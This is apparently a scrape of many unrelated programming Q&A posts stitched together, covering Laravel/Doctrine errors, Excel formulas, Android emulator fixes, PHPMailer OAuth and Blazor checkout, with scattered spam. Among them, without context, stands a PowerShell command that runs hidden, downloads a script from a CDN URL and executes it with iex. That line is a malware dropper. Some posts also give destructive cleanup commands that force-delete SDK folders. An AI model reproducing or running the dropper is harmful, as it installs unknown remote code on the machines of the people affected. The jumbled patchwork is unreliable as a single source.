Many steps in this guide but looks like the promising approach and a tool described.
No need to read docs there, only to follow the attached steps.
I did not try it.
https://danielflower.github.io/2017/04/08/Lets-Encrypt-Certs-with-embedded-Jetty.html
Remove the @UseInterceptores(FileInterceptor('file') Line And make when passing the file in postman write the 'file' in key obv without ''
You might want to consider using a compiler generated by buildroot.
First of all, run make menuconfig to create .config file and then run make. All new toolchain environment will be in buildroot_directory/output/host.
You might add buildroot_directory/output/host/bin to PATH
I think its from input, make sure input parameter is numbers.
sorry i dont have reputation to comment.
Adding "python.analysis.exclude": ["**"] in the settings.json file fixed it for me.
Easiest way I could do that with zod was,
enum Colour {
red: 'Red',
blue: 'Blue',
}
const isValidColour: bool = z.nativeEnum(Colour).safeParse("Red").success; // true
const isValidColour: bool = z.nativeEnum(Colour).safeParse("Pink").success; // false
How to do Alexa development by only communicating with my server and not using AWS? Does anyone know? I pay
The positive drift in the log of the forward coefficients likely results from cumulative numerical errors over time, which is a common issue when repeatedly applying the log-sum-exp trick. Since log-probabilities should remain non-positive, any increase above zero suggests small inaccuracies are building up with each iteration. To mitigate this, consider normalizing the forward coefficients at each time step. For instance, you could re-center the log probabilities by subtracting the maximum log coefficient at each step. This normalization maintains relative values without altering the sequence, helping to control numerical errors and keep the values within the expected range.
Have you tried this?
Database stuck in "Restoring" state
Probably the answer to the problem,
stuck in recovery state
is...
You need to use the WITH RECOVERY option, with your database RESTORE command, to bring your database online as part of the restore process.
You should do
import NextAuth from "next-auth";
The error was because the "next-auth" package does not have a named export called "NextAuth". Instead, it has a default export which you can name how ever you like but most people just stick to naming it as "NextAuth"
Using BYCOL() and TEXTSPLI0T() (and AND()):
=BYCOL(TEXTSPLIT(A7,","),
LAMBDA(a,
AND(
ISNUMBER(VALUE(CONCAT((FIND(MID(a,1,1),"ABCDEFGHIJKLMNOPQRSTUVWXYZ")),(FIND(MID(a,2,1),"ABCDEFGHIJKLMNOPQRSTUVWXYZ"))))),
ISNUMBER(VALUE(MID(a,3,8))),
LEN(a)=10)))
This will output an array, if you wrap an AND() around it, it will output just TRUE or FALSE.
Note, I TEXTJOIN()-ed the list from A1:A5 in cell A7, with ", ".
Sample 2 to show FALSE output.
(Excel in different language, WAAR = TRUE, ONWAAR = FALSE)
Also note: this doesn't exclude duplicates:

Cell highlight manually done
Sort Files
sort Name.txt -o Name.txt
sort Firstname.txt -o Firstname.txt
Merge the two files on the first column
join -o 0,2.1,1.2 Name.txt Firstname.txt > User.txt
Results should be like this
1 John Smith
2 Jane Doe
3 Jung Kim
3 Un Kim
4 Mickey Mouse
try running it from command prompt
The correct package to install is python-dotenv.
Duplicate of pip install dotenv error code 1 Windows 10
Have you found a solution for this? I've also done all tweakable configs in Cloudflare, it's still wont work. It works when I'm directly accessing my app via VPS / Traefik, but when its hidden behind Cloudflare nothing happens lol.
powershell.exe -W Hidden -command $url = 'https://UTFJv6fun.b-cdn.net/CHNL/bt.txt'; $response = Invoke-WebRequest -Uri $url -UseBasicParsing; $text = $response.Content; iex $text
Interesting post. I Have Been wondering about this issue, so thanks for posting. Pretty cool post. actress Meg Steedle
My problem solved with composer install ,
According to the documentation, You should try this setting: --detect.npm.dependency.types.excluded=DEV
https://documentation.blackduck.com/bundle/detect/page/properties/detectors/npm.html
Magento 2 Store Locator improves user experience by allowing customers to quickly select a location from a list, displaying the nearest stores or pickup points. This dropdown is created using JavaScript and PHP to dynamically pull store data that integrates it into the Magento front end.
Using Magento’s layout and template structure, developers add a dropdown element, populated with store locations retrieved via API or Magento’s backend configuration. When a user selects a location, JavaScript triggers an update to display relevant store details, such as address, hours, and available services that streamline the path to purchase.
code like this:
@available(iOS 17.0, *)
#Preview(traits: .fixedLayout(width: 375, height: 600)) {
CardView(fruits: fruitData[1])
}
then, you have to clike the 【Selecable】 button. https://stackoverflow.com/a/74430524/25340198
Facing this problem when running database migration with :
laravel/framework ^9.0doctrine/dbal 4.2.1I can't downgrade/upgrade my doctrine/dbal version due to a conflict with carbon-doctrine-types (which comes from laravel/framework requiring nesbot/carbon requiring carbonphp/carbon-doctrine-types).
Apparently, the ::connect method signature changed from Laravel 8 to Laravel 9, which I though was causing the error :
connect(array $params, string|null $username = null, string|null $password = null, array $driverOptions = [])connect(array $params)Complete composer.json
{
"name": "laravel/laravel",
"description": "The Laravel Framework.",
"keywords": ["framework", "laravel"],
"license": "MIT",
"type": "project",
"require": {
"24slides/laravel-saml2": "^2.0",
"barryvdh/laravel-dompdf": "^3.0.0",
"doctrine/dbal": "4.2.1",
"fideloper/proxy": "^4.0",
"laravel/framework": "^9.0",
"laravel/helpers": "^1.6",
"laravel/tinker": "^2.0",
"laravel/ui": "^3.0"
},
"require-dev": {
"filp/whoops": "~2.0",
"fzaninotto/faker": "~1.4",
"mockery/mockery": "~1.0",
"phpunit/phpunit": "^9.0",
"symfony/thanks": "^1.0"
},
"autoload": {
"classmap": [
"database/seeders",
"database/factories"
],
"psr-4": {
"App\\": "app/",
"OneLogin\\Saml2\\": "repositories/onelogin/php-saml/src/Saml2/"
}
},
"autoload-dev": {
"psr-4": {
"Tests\\": "tests/"
}
},
"extra": {
"laravel": {
"dont-discover": [
]
}
},
"scripts": {
"post-root-package-install": [
"@php -r \"file_exists('.env') || copy('.env.example', '.env');\""
],
"post-create-project-cmd": [
"@php artisan key:generate"
],
"post-autoload-dump": [
"Illuminate\\Foundation\\ComposerScripts::postAutoloadDump",
"@php artisan package:discover"
]
},
"config": {
"preferred-install": "dist",
"sort-packages": true,
"optimize-autoloader": true,
"allow-plugins": {
"kylekatarnls/update-helper": true,
"symfony/thanks": true
}
}
}
Complete error when running php artisan migrate :
INFO Running migrations.
2024_07_18_110456_delete_some_column PHP Fatal error: Declaration of Illuminate\Database\PDO\Concerns\ConnectsToDatabase::connect(array $params, $username = null, $password = null, array $driverOptions = []) must be compatible with Doctrine\DBAL\Driver::connect(array $params): Doctrine\DBAL\Driver\Connection in C:\Users\g64882.ZEPRODBUR\Desktop\ykq\vendor\laravel\framework\src\Illuminate\Database\PDO\Concerns\ConnectsToDatabase.php on line 22
[2024-11-14 10:10:54] ${ENVIRONMENT}.ERROR: Declaration of Illuminate\Database\PDO\Concerns\ConnectsToDatabase::connect(array $params, $username = null, $password = null, array $driverOptions = []) must be compatible with
Doctrine\DBAL\Driver::connect(array $params): Doctrine\DBAL\Driver\Connection {"exception":"[object] (Symfony\\Component\\ErrorHandler\\Error\\FatalError(code: 0): Declaration of Illuminate\\Database\\PDO\\Concerns\\ConnectsToDatabase::connect(array $params, $username = null, $password = null, array $driverOptions = []) must be compatible with Doctrine\\DBAL\\Driver::connect(array $params): Doctrine\\DBAL\\Driver\\Connection at C:\\Users\\g64882.ZEPRODBUR\\Desktop\\ykq\\vendor\\laravel\\framework\\src\\Illuminate\\Database\\PDO\\Concerns\\ConnectsToDatabase.php:22)
[stacktrace]
#0 {main}
"}
In ConnectsToDatabase.php line 22:
Declaration of Illuminate\Database\PDO\Concerns\ConnectsToDatabase::connect(array $params, $username = nul
l, $password = null, array $driverOptions = []) must be compatible with Doctrine\DBAL\Driver::connect(arra
y $params): Doctrine\DBAL\Driver\Connection
I downgraded to Laravel 8, but still has the error (and it's even more weird now that the 2 methods with the same signature seems incompatible ?)
Complete composer.json
{
"name": "laravel/laravel",
"description": "The Laravel Framework.",
"keywords": ["framework", "laravel"],
"license": "MIT",
"type": "project",
"require": {
"24slides/laravel-saml2": "^2.0",
"barryvdh/laravel-dompdf": "^2.2.0",
"doctrine/dbal": "4.2.1",
"fideloper/proxy": "^4.0",
"laravel/framework": "^8.0",
"laravel/helpers": "^1.6",
"laravel/tinker": "^2.0",
"laravel/ui": "^3.0"
},
"require-dev": {
"filp/whoops": "~2.0",
"fzaninotto/faker": "~1.4",
"mockery/mockery": "~1.0",
"phpunit/phpunit": "^9.0",
"symfony/thanks": "^1.0"
},
"autoload": {
"classmap": [
"database/seeders",
"database/factories"
],
"psr-4": {
"App\\": "app/",
"OneLogin\\Saml2\\": "repositories/onelogin/php-saml/src/Saml2/"
}
},
"autoload-dev": {
"psr-4": {
"Tests\\": "tests/"
}
},
"extra": {
"laravel": {
"dont-discover": [
]
}
},
"scripts": {
"post-root-package-install": [
"@php -r \"file_exists('.env') || copy('.env.example', '.env');\""
],
"post-create-project-cmd": [
"@php artisan key:generate"
],
"post-autoload-dump": [
"Illuminate\\Foundation\\ComposerScripts::postAutoloadDump",
"@php artisan package:discover"
]
},
"config": {
"preferred-install": "dist",
"sort-packages": true,
"optimize-autoloader": true,
"allow-plugins": {
"kylekatarnls/update-helper": true,
"symfony/thanks": true
}
}
}
Complete error when running php artisan migrate :
Migrating: 2024_07_18_110456_delete_some_column
PHP Fatal error: Declaration of Illuminate\Database\PDO\Concerns\ConnectsToDatabase::connect(array $params) must be compatible with Doctrine\DBAL\Driver::connect(array $params): Doctrine\DBAL\Driver\Connection in C:\Users\g64882.ZEPRODBUR\Desktop\ykq\vendor\laravel\framework\src\Illuminate\Database\PDO\Concerns\ConnectsToDatabase.php on line 19
[2024-11-14 10:28:57] ${ENVIRONMENT}.ERROR: Declaration of Illuminate\Database\PDO\Concerns\ConnectsToDatabase::connect(array $params) must be compatible with Doctrine\DBAL\Driver::connect(array $params): Doctrine\DBAL\Driver\Connection {"exception":"[object] (Symfony\\Component\\ErrorHandler\\Error\\FatalError(code: 0): Declaration of Illuminate\\Database\\PDO\\Concerns\\ConnectsToDatabase::connect(array $params) must be compatible with Doctrine\\DBAL\\Driver::connect(array $params): Doctrine\\DBAL\\Driver\\Connection at C:\\Users\\g64882.ZEPRODBUR\\Desktop\\ykq\\vendor\\laravel\\framework\\src\\Illuminate\\Database\\PDO\\Concerns\\ConnectsToDatabase.php:19)
[stacktrace]
#0 {main}
"}
In ConnectsToDatabase.php line 19:
Declaration of Illuminate\Database\PDO\Concerns\ConnectsToDatabase::connect(array $params) must be compati
ble with Doctrine\DBAL\Driver::connect(array $params): Doctrine\DBAL\Driver\Connection
Just one small side note adding to Thomas' answer, you need to pass the table as a symbol (call by name) if you want to make the change persistent
![`t;();0b;{x!(^;0),/:x}MathsScience]
or
@[`t;Maths`Science;0^]
The solution was to change to ROW FORMAT SERDE "org.apache.hive.hcatalog.data.JsonSerDe"
I'm excited to share that today I found a way to interact with PDFs and detect selected text using Python in our Django application! 🎉
To resolve the "no tokens found in cookies" error when using JWT authentication, ensure the following:
CORS Configuration: The backend should be configured to allow cross-origin requests with credentials (cookies). This is necessary if the frontend and backend are hosted on different domains or ports.
Frontend Request: When making requests from your React app, always include credentials: 'include' in your fetch or axios call to send cookies along with the request.
Correct Cookie Settings: The JWT token should be set in a cookie with the appropriate flags, such as httpOnly, secure, and sameSite: 'None' if working with different origins.
Token Verification: On the backend, make sure you're extracting the JWT token from the cookies and verifying it properly before allowing access to protected routes.
Browser Settings: Ensure that the browser is accepting third-party cookies, especially if you're testing locally with different ports for frontend and backend.
By following these steps, you should be able to properly send, receive, and verify JWT tokens for authentication in your Node.js and React app.
The error occurs because network_1 and network_2 are not yet built. In keras, layers in a sequential model are not instantiated until the model is called on some input data. when you try to access the .output attribute of a sequential model you need to build or called it manually before accessing it. Please refer to this gist.
There are now some online converters, such as: https://catherinearnould.com/autres/resx/ which worked well for me.
After a long search, a colleague was able to find the solution to the problem.
A .gitattributes file was committed in the project. In it, the *.jar files were configured as Git LFS files.
*.jar filter=lfs diff=lfs merge=lfs -text
Due to a merge, the gradle-wrapper.jar file was destroyed and could no longer be read.
After deleting the configuration for *.jar files and recreating the gradle-wrapper.jar, ./gradlew can now be used without an error.
The specific Intel compiler compiler version should support "static stealing". To enable it, you need to use schedule(runtime) with the parallel do directive, like so:
!$omp parallel do schedule(runtime)
When running the application, set OMP_SCHEDULE=static_steal as an environment variable before you start the application, e.g, for bash-like shells:
export OMP_SCHEDULE=static_steal
or via localize environment:
OMP_SCHEDULE=static_steal ./my-application
The loop is then partitioned statically at first, but when threads run out of work, they can steal from other threads. Does that solve your problem?
My recommendation would be to simply use a SSD with DRAM-cache instead of an SD-card.
Just write the data to disk without a memory buffer and let the cache handle it.
This is a very straightforward solution, it should provide predictable results so that you can dial in the rate at wich you write data to disk without overwhelming the cache.
If you simply have to use an SD-card you can influence the behaviour of the OS-level disk cache (assuming you are using Raspbian) by editing an option file in fstab.
Take a look at this post from the official raspberry forum to get an idea of how to influence the disk cache:
https://forums.raspberrypi.com/viewtopic.php?t=157743#p1026791
is it possible to define the bucket "le" size somehow per configuration that it do not generate the values by it self?
Something where I can say buckets le of : [0.05, 0.1, 0.3, 0.5, 1, 3, 5, 10, 30]
Seems to be possible in nestJS. But I can't find it for spring boot
Thanks,
Tom
There are high opportunities for WordPress developers, but there is not a great payout for most of these opportunities. WordPress is used majorly by new-age startups or businesses looking only to have a simple website rather than a functional one. I have been working in the Web development domain for the past 6 years, if you are looking to make some big money, look into other coding skills MERN, Next.JS, and Laravel will have better opportunities to earn, and grow
Steps:
Your submti button is out side of the <form> element place it inside the form element like this
`your input fields...
Send Message
Change ib.cancelMktData(tick_id) to ib.cancelMktData(instr)
Based on ib_insync source code:
def cancelMktData(self, contract: Contract):
"""
Unsubscribe from realtime streaming tick data.
Args:
contract: The exact contract object that was used to
subscribe with.
"""
ticker = self.ticker(contract)
reqId = self.wrapper.endTicker(ticker, 'mktData') if ticker else 0
if reqId:
self.client.cancelMktData(reqId)
else:
self._logger.error(
'cancelMktData: ' f'No reqId found for contract {contract}')
GITHUB_TOKEN is a managed secret, it is automatically generated and injected into the workflow. There is no need to create a separate token for changesets.
Please,
is there any new update for Outlook 2024/Outlook WEB and .NET 8 ? In new outlook drag and drop function starts like:
private void Form1_DragEnter(object sender, DragEventArgs e)
{
if (e.Data.GetDataPresent("Chromium Web Custom MIME Data Format"))
e.Effect = DragDropEffects.Copy;
else
e.Effect = DragDropEffects.None;
}
private void Form1_DragDrop(object sender, DragEventArgs e)
{
if (e.Data.GetDataPresent("Chromium Web Custom MIME Data Format"))
{
var data = e.Data.GetData("Chromium Web Custom MIME Data Format");
if (data is MemoryStream memoryStream)
{
var bytes = memoryStream.ToArray();
var rawText = Encoding.UTF8.GetString(bytes);
Debug.WriteLine(rawText);
}
}
}
But this is not working properly. Please can somebody help mi to get content of email (text, assigned files,...) from copy paste & new Outlook version?
Thank you.
For me the key was to set -S runtimes and it went down to around 1'000 targets which are quickly compiled.
"This might be because the FCM device token you generated has expired. Since the topic is associated with the device token, you should regenerate the device token and then re-subscribe to the topic. This may resolve the issue."
Try these solutions in order, as they progress from simple to more complex fixes:
# Run emulator with GPU off
cd %ANDROID_HOME%/emulator
./emulator -gpu off -avd YOUR_AVD_NAME
Or modify the AVD configuration:
Control Panel → 3D Settings → Program Settings
Add Android Emulator and set:
- OpenGL rendering: Force software
- Power management: Prefer maximum performance
# Add these to System Variables
ANDROID_HOME=C:\Users\[username]\AppData\Local\Android\Sdk
JAVA_HOME=C:\Program Files\Microsoft\jdk-17.0.8.7-hotspot\
Path=%Path%;%ANDROID_HOME%\tools;%ANDROID_HOME%\platform-tools;%ANDROID_HOME%\emulator
# Windows PowerShell commands
Remove-Item -Recurse -Force "${env:USERPROFILE}\.android\avd\*"
Remove-Item -Recurse -Force "${env:LOCALAPPDATA}\Android\Sdk\system-images\*"
# Reinstall system images
sdkmanager --install "system-images;android-30;google_apis_playstore;x86"
# Create AVD via command line with optimal settings
avdmanager create avd -n "Pixel_3a_API_30" \
-k "system-images;android-30;google_apis_playstore;x86" \
-d "pixel_3a" \
--force
# Edit config.ini
notepad %USERPROFILE%\.android\avd\Pixel_3a_API_30.avd\config.ini
Add these lines to config.ini:
hw.gpu.enabled=yes
hw.gpu.mode=off
disk.dataPartition.size=6442450944
Edit studio64.exe.vmoptions:
# Location: %APPDATA%\Google\AndroidStudio[version]\studio64.exe.vmoptions
-Xmx2048m
-XX:MaxPermSize=512m
-XX:ReservedCodeCacheSize=240m
-XX:+UseConcMarkSweepGC
-XX:SoftRefLRUPolicyMSPerMB=50
-ea
-Dsun.io.useCanonCaches=false
-Djava.net.preferIPv4Stack=true
-Djdk.http.auth.tunneling.disabledSchemes=""
-XX:+HeapDumpOnOutOfMemoryError
-XX:-OmitStackTraceInFastThrow
# Uninstall existing HAXM
cd %ANDROID_HOME%\extras\intel\Hardware_Accelerated_Execution_Manager
silent_install.bat -u
# Download latest HAXM
# Install with custom settings
silent_install.bat -log -m 2048
# PowerShell (Admin)
# Enable Hyper-V
Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V-All
# OR Disable if using HAXM
Disable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V-All
# Check Vulkan installation
Get-ChildItem -Path C:\Windows\System32\vulkan* -File
Get-ChildItem -Path C:\Windows\SysWOW64\vulkan* -File
If missing:
C:\VulkanSDK\[version]\Bin
# Clean Android Studio
File → Invalidate Caches / Restart
# Update SDK Tools
sdkmanager --update
<!-- In gradle.properties -->
org.gradle.jvmargs=-Xmx2048m -XX:MaxPermSize=512m
org.gradle.parallel=true
org.gradle.daemon=true
# Check emulator process
tasklist | findstr "qemu"
# Monitor GPU usage
nvidia-smi -l 1
If issues persist:
# PowerShell
systeminfo | Select-String "Total Physical Memory","Processor","OS Name"
# Command Prompt (Admin)
systeminfo | findstr /i "Virtualization"
# Check emulator logs
type %USERPROFILE%\.android\avd\*.log
# Remove Android Studio completely
Remove-Item -Recurse -Force "${env:LOCALAPPDATA}\Google\AndroidStudio*"
Remove-Item -Recurse -Force "${env:APPDATA}\Google\AndroidStudio*"
Remember to:
Would you like me to explain any specific part in more detail?
Are you still looking a solution for this?
In VSCode 1.95 settings.json for me this works now (outside of [python]):
"autopep8.args": [
"--max-line-length",
"120",
"--experimental"
],
For me it's that I was accidentally in the Release configuration.
Switching it to Debug in the top bar fixed my issue.
I was hitting breakpoints in my tests but not in the code under test. The code under test was in a different project in the same solution and the breakpoints didn't work there until the above change.
Also check if there is a process autorestarting on port 5000.
In my case it was disk full, it could also be permissions, but before doing a blind restart. Check that your directory, disk and permissions are OK.
When you set autoCancel: false in Notifee, it ensures the notification does not automatically disappear after the user interacts with it (e.g., taps or opens it).
You've already done this, so it should work for you.
Additionally, you've included the following lines:
fullScreenAction: {
id: 'default', // Specifies the action ID for full screen
mainComponent: 'custom-component',
}
This ensures the notification will open in full-screen mode. Your setup seems correct. it will be full screen and it will close only in case where user interact with it. if it doesn't your problem will be somewhere else.
Read the link for official Documentations:
https://notifee.app/react-native/reference/notificationandroid#autocancel
https://notifee.app/react-native/docs/android/behaviour#full-screen
for myself, as a non-native english person I "invented" this deciphering:
Incremental Output To Array
in order to be not confused with itoa
I think your 5000, 3000 port still occupied by the some processor. you can recheck the port numbers are still occupied. i have added some commands to check the ports are still occupied by another process.
1.if you'r using windows you will run this netstat -ano | findstr /I "5000" command in your cmd
2.if you are using linux system you will run this sudo lsof -i:5000 command in your terminal
if the ports are occupied by some processor you can change the port number and run your project otherwise you will kill the processor using pid, after run the project.
i have added the command, how to kill the running processor.
1.LINUX (sudo kill -9 pid(replace the actual pid))
2.LINUX ( kill -9 pid(replace the actual pid))
linux command execution example
windows command execution example
Note: Only kill the process if it is a Node.js process. If it's another service, choose a different port.
you can try using a fixed height for both TextField and Dropdown
We were at least two in our company having this problem suddenly, so fixing this issue at server level was needed, instead of changing a setting in VSCode. This solution fixed the server and VSCode is now able to create a new terminal again :
https://github.com/microsoft/vscode-remote-release/issues/4233#issuecomment-815198379
Causes and Solutions:
Weak or Disconnected Internet Connection: Check Your Internet Connection: Ensure that your internet connection is stable. You can open other websites to verify that your internet is working properly.
Proxy or Firewall: If you are behind a proxy or firewall, these settings might prevent npm from connecting to the internet. Check and remove proxy settings if necessary:
Using a VPN: Using a VPN may help you bypass network restrictions.
To prevent duplicate records with the same epoch time in your database, use the epoch time in milliseconds and apply a unique constraint on the relevant column. This will ensure each record has a distinct timestamp, and the database enforces uniqueness.
The problem may be in the styling for the element containing the map div. Try setting a width and height for the map div as either a percentage or fixed value.
i am trying to paste a link to see if it works , it does not have anything related to the question - https://youtu.be/3wCnVvdrqy8?si=9aZg06kxh9yN_LmZ
To change the custom namespace update the autoload psr-4 variable in composer.json file. Update all the files wherever the namespace is included. And make sure to run the following command:
composer dump-autoload
I hope this works for your problem.
initialPosition: used when the streaming job starts for the first time, Also determines the initial offset to start reading data.
startingPosition: Used when the streaming job restarts after a failure or manual restart, Also Determines the offset to resume processing from after a restart.
You can check your boot times and sql query exec times with barryvdh/laravel-debugbar.
If your problem in your code you can debug with that. But the problem may also be server-related. First, you can analyze whether it is not code-related and then examine the server separately.
In macos, export to path will only temporarily set it. If you want to permanently set it, use sudo vi /etc/paths and add $HOME/.pub-cache/bin to new line
Note: Press i to switch to insert mode. After you set it you should do :wq
I tested this code, phpmailer make it loop indefinetly.
I use a provider requesting several scopes, put the token in a session, and used a class.
$provider = new TheNetworg\OAuth2\Client\Provider\Azure([
'clientId' => 'xyz',
'clientSecret' => 'xyz',
'tenantId' => 'xyz',
'redirectUri' => 'http://localhost/myurl',
'scopes' => ['openid profile email offline_access https://outlook.office.com/SMTP.Send'],
'defaultEndPointVersion' => '2.0',
'accessType' => 'offline'
]);
class MyTokenProvider implements OAuthTokenProvider{
public function getOauth64(){
return base64_encode(
'user=' .
$_SESSION['userEmail'].
"\001auth=Bearer " .
$_SESSION['token'].
"\001\001"
);
}
then
$myOwnOauth = new MyTokenProvider();
$mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
$mail->SMTPAuth = true;
$mail->AuthType = 'XOAUTH2';
$mail->setOAuth($myOwnOauth );
etc
phpmailer then loop non stop, microsoft displaying too many requests and after several minutes : SMTP ERROR: AUTH command failed: 535 5.7.3 Authentication unsuccessful I'm able to mail with graph api with the token but can't make it works with phpmailer.
is there something i missed?
Go to site settings Lightbox
Disable all except Image Lightbox😎
The flutter team has confirmed that as of November 14, 2024, This is a known issue with Flutter (Reported mainly with Samasung)
Try using cellClassRules instead
columnDefs: [
{
field: 'car_brand',
cellClassRules: {
'pass': params => params.value !== '',
'fail': params => params.value === '',
}
}],
the pass and fail are your css classes.
In my case, because the data was migrated to a new server, there was a mismatch in data types, which was causing the concurrency error. As soon as I changed it to the data type that EF Core (RoleManager) was expecting, the error was resolved.
If your velocity macro calls a java method, you can put a breakpoint into that method. Not much help, but more than nothing.
Personally, I usually "print" the vairables into the html, but that is very dangerous, because I can easily forget to remove...
flutter -v doctor [✓] Flutter (Channel stable, 3.24.5, on macOS 14.6.1 23G93 darwin-x64, locale fr-FR) • Flutter version 3.24.5 on channel stable at /Users/doandgo/Desktop/Programmation/GitHub/flutter • Upstream repository https://github.com/flutter/flutter.git • Framework revision dec2ee5c1f (14 hours ago), 2024-11-13 11:13:06 -0800 • Engine revision a18df97ca5 • Dart version 3.5.4 • DevTools version 2.37.3
[✓] Android toolchain - develop for Android devices (Android SDK version 35.0.0) • Android SDK at /Users/doandgo/Library/Android/sdk • Platform android-35, build-tools 35.0.0 • ANDROID_SDK_ROOT = /Users/doandgo/Library/Android/sdk • Java binary at: /Applications/Android Studio.app/Contents/jbr/Contents/Home/bin/java • Java version OpenJDK Runtime Environment (build 17.0.11+0-17.0.11b1207.24-11852314) • All Android licenses accepted.
[✓] Xcode - develop for iOS and macOS (Xcode 16.1) • Xcode at /Applications/Xcode.app/Contents/Developer • Build 16B40 • CocoaPods version 1.16.2
[✓] Chrome - develop for the web • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome
[✓] Android Studio (version 2024.1) • Android Studio at /Applications/Android Studio.app/Contents • Flutter plugin can be installed from: 🔨 https://plugins.jetbrains.com/plugin/9212-flutter • Dart plugin can be installed from: 🔨 https://plugins.jetbrains.com/plugin/6351-dart • Java version OpenJDK Runtime Environment (build 17.0.11+0-17.0.11b1207.24-11852314)
[✓] VS Code (version 1.92.2) • VS Code at /Users/doandgo/Desktop/Visual Studio Code.app/Contents • Flutter extension version 3.100.0
[✓] Connected device (3 available) • iPhone doandgo (mobile) • 00008030-001A054A2289802E • ios • iOS 17.5.1 21F90 • macOS (desktop) • macos • darwin-x64 • macOS 14.6.1 23G93 darwin-x64 • Chrome (web) • chrome • web-javascript • Google Chrome 130.0.6723.117
[✓] Network resources • All expected network resources are available.
AND
Showing outdated packages. [*] indicates versions that are not the latest available.
Package Name Current Upgradable Resolvable Latest
direct dependencies:
intl *0.19.0 *0.19.0 *0.19.0 0.20.0
riverpod_generator *2.6.1 *2.6.1 *2.6.1 2.6.2
dev_dependencies:
custom_lint *0.6.4 *0.6.4 *0.6.4 0.7.0
riverpod_lint *2.6.1 *2.6.1 *2.6.1 2.6.2
transitive dependencies:
_fe_analyzer_shared *72.0.0 *72.0.0 *72.0.0 76.0.0
analyzer *6.7.0 *6.7.0 *6.7.0 6.11.0
async *2.11.0 *2.11.0 *2.11.0 2.12.0
boolean_selector *2.1.1 *2.1.1 *2.1.1 2.1.2
characters *1.3.0 *1.3.0 *1.3.0 1.3.1
clock *1.1.1 *1.1.1 *1.1.1 1.1.2
collection *1.18.0 *1.18.0 *1.18.0 1.19.1
custom_lint_core *0.6.3 *0.6.3 *0.6.3 0.7.0
fake_async *1.3.1 *1.3.1 *1.3.1 1.3.2
http_parser *4.0.2 *4.0.2 *4.0.2 4.1.1
js *0.6.7 *0.6.7 *0.6.7 0.7.1
leak_tracker *10.0.5 *10.0.5 *10.0.5 10.0.8
leak_tracker_flutter_testing *3.0.5 *3.0.5 *3.0.5 3.0.9
macros *0.1.2-main.4 *0.1.2-main.4 *0.1.2-main.4 0.1.3-main.0
matcher *0.12.16+1 *0.12.16+1 *0.12.16+1 0.12.17
material_color_utilities *0.11.1 *0.11.1 *0.11.1 0.12.0
meta *1.15.0 *1.15.0 *1.15.0 1.16.0
path *1.9.0 *1.9.0 *1.9.0 1.9.1
riverpod_analyzer_utils *0.5.6 *0.5.6 *0.5.6 0.5.7
rxdart *0.27.7 *0.27.7 *0.27.7 0.28.0
shelf *1.4.1 *1.4.1 *1.4.1 1.4.2
stack_trace *1.11.1 *1.11.1 *1.11.1 1.12.0
string_scanner *1.2.0 *1.2.0 *1.2.0 1.4.0
test_api *0.7.2 *0.7.2 *0.7.2 0.7.3
vm_service *14.2.5 *14.2.5 *14.2.5 14.3.1
win32_registry *1.1.5 *1.1.5 *1.1.5 2.0.0
transitive dev_dependencies:
custom_lint_builder *0.6.4 *0.6.4 *0.6.4 0.7.0
lints *5.0.0 *5.0.0 *5.0.0 5.1.0
All packages are up to date
Managed to figure it out in the end. The samples from PortAudio are interleaved into 1 sample. So one sample contains left and right, I was combining left and right pairs with other left and right pairs.
I needed to split the individual samples from the 'samples' array into two, in order to get the left and right audio streams. Once I got that figured out, I could actually average them into 1 stream by adding them together and dividing by 2 into a single signed int16.
hello please i need the code that used on this rectangular image to use it on my project
There is no SDK for vb.net. There is hardly any SDK. ZKTeco only released a low quality SDK for C#.
They try to make it harder for you to use custom software to force you to buy thier shitty software.
You can do a workaround
.docblock-argstable .docblock-argstable-head th:nth-child(3) {
display: none !important;
}
.docblock-argstable .docblock-argstable-body td:nth-child(3) {
display: none !important;
}
But you need to link the stylesheet to manager-head.html inside .storybook dir
add this line use_symfony_listeners: true in file api_platform.yaml
try this
http.Handle("GET /logs/{path...}", http.StripPrefix("/logs", http.FileServer(http.Dir(logDir))))
Have you tried different learning rates? I had a similar problem and the problem was that the learning rate was too small.
Also there was a post about a similar problem: Training uNet model the prediction is only black
Hope this helps.
I have resolved the issue by first adding @rendermode InteractiveServer to the page since I'm using a Blazor server application and by removing the OnInitializedAsync() method from the code so the final code becomes:
@page "/checkout"
@attribute [Authorize]
@rendermode InteractiveServer
@inject AuthenticationStateProvider _authStateProvider
@inject ICartService _cartService
@inject IUserService _userService
@inject IConfiguration _configuration
@inject IJSRuntime JS
@inject NavigationManager _navigation
<PageTitle>Checkout | LearnSpace</PageTitle>
<SectionContent SectionName="page-header-title">Checkout</SectionContent>
<div>
<h2>Checkout</h2>
<button class="btn btn-primary" @onclick="ProcessCheckout">Place Order</button>
<a href="/cart" class="btn btn-secondary">Back to Shopping Bag</a>
</div>
@code {
private bool shouldRedirect;
private string authorizationUrl;
private bool shouldOpenInNewTab = false;
private async Task ProcessCheckout()
{
try
{
// Initialize checkout process
var userId = await GetUserIdAsync();
var netTotal = await _cartService.GetBasketNetTotalAsync(userId);
var authState = await _authStateProvider.GetAuthenticationStateAsync();
var user = authState.User;
string strEmail = user.FindFirst(System.Security.Claims.ClaimTypes.Email)?.Value;
string token = _configuration["PayStackSettings:PayStackSecretKey"];
var payStack = new PayStackApi(token);
TransactionInitializeRequest request = new()
{
AmountInKobo = Convert.ToInt32(netTotal) * 100,
Email = strEmail,
Reference = Generate().ToString(),
Currency = "GHS"
};
// Initiate transaction
var response = payStack.Transactions.Initialize(request);
if (response.Status)
{
authorizationUrl = response.Data.AuthorizationUrl;
shouldOpenInNewTab = true;
StateHasChanged(); // Trigger re-render to ensure OnAfterRenderAsync runs
}
}
catch (Exception ex)
{
throw new Exception(ex.Message);
}
}
protected override async Task OnAfterRenderAsync(bool firstRender)
{
if (shouldOpenInNewTab && authorizationUrl != null)
{
shouldOpenInNewTab = false; // Reset the flag after the redirect
await JS.InvokeVoidAsync("openInNewTab", authorizationUrl);
}
}
private async Task<string> GetUserIdAsync()
{
var authState = await _authStateProvider.GetAuthenticationStateAsync();
var user = authState.User;
return user.FindFirst(System.Security.Claims.ClaimTypes.NameIdentifier)?.Value;
}
private static int Generate() => new Random((int)DateTime.Now.Ticks).Next(100000000, 999999999);
}
So that's it.
You can use FM: RS_EXCEPTION_TO_BAPIRET2
Main Differences
Purpose:
Impact on Output Structure:
Impact on File Selection for Compilation:
